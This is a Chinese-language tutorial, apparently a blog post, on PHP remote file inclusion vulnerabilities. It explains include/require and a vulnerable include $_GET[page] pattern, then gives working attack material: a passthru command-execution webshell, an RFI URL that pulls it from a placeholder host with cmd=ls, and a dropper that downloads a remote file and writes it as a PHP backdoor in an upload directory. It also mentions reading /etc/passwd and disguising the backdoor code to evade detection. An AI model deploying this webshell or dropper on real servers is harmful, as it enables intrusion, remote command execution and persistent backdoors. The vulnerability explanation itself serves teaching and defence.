0x01：什么才是”远程文件包含漏洞”？

服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数：include(),require()和include_once(),require_once()
- Include:包含并运行指定文件，当包含外部文件发生错误时，系统给出警告，但整个php文件继续执行
- Require:跟include唯一不同的是，当产生错误时候，include下面继续运行而require停止运行了
- Include_once:这个函数跟include函数作用几乎相同，只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
- Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。所以我就不重复了。
- php.ini配置文件：allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地，php5仅存在本地包含。

为什么会产生漏洞？

包含文件的时候不是固定写死的文件名，而是通过变量进行动态传递了

if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}

比如我们会随便的打入下面这个URL：http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行：取page为hello.php，然后去include(hello.php)，这时问题出现了，因为我们并没有hello.php这个文件，所以它 include的时候就会报警告，类似下列信息：Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3注意上面的那个Warning就是找不到我们指定的hello.php文件，也就是包含不到我们指定路径的文件；而后面的警告是因为前面没有找到指定文件，所以包含的时候就出警告了。

0x03：如何利用漏洞？

包含读出目标主机上的其他文件，即可以对目录进行遍历，权限高的话也可以查看/etc/passwd等敏感文件
远程文件包含可运行的PHP木马
- 如果目标主机的”allow_url_fopen”是激活的（默认是激活的，没几个人会修改），我们就可以有更大的利用空间，我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行，比如，我先写一段运行命令的PHP代码，如下保存为cmd.txt（后缀不重要，只要内容为PHP格式就可以了，可以用来过狗，隐藏后门代码）。

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}　//去掉转义字符（可去掉字符串中的反斜线字符）
ini_set("max_execution_time",0);　//设定针对这个文件的执行时间，0为不限制.
echo "M4R10开始行";　　　　　　 //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);　　　//运行cmd指定的命令
echo "M4R10结束行";　　　　　　 //打印的返回的结束行提示信息
?>

以上这个文件的作用就是接受cmd指定的命令，并调用passthru函数执行，把内容返回在M4R10开始行与M4R10结束行之间。把这个文件保存到我们主机的服务器上（可以是不支持PHP的主机），只要能通过HTTP访问到就可以了，例如地址如下：http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了：http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要执行的命令
包含一个创建文件的PHP文件——–>算是一个小马
- 我们可以结合前面的包含文件漏洞来包含一个创建文件（写文件）的PHP脚本

$f=file_get_contents("http://www.xxx.cn/m4r10.txt"); //打开指定路径的文件流
$ff=fopen("./upload/m4r10.php","a"); 　　　　//寻找一个可以的目录，创建一个文件
fwrite ($ff,$f); 　//把前面打开的文件流写到创建的文件里
fclose($ff); 　　　//关闭保存文件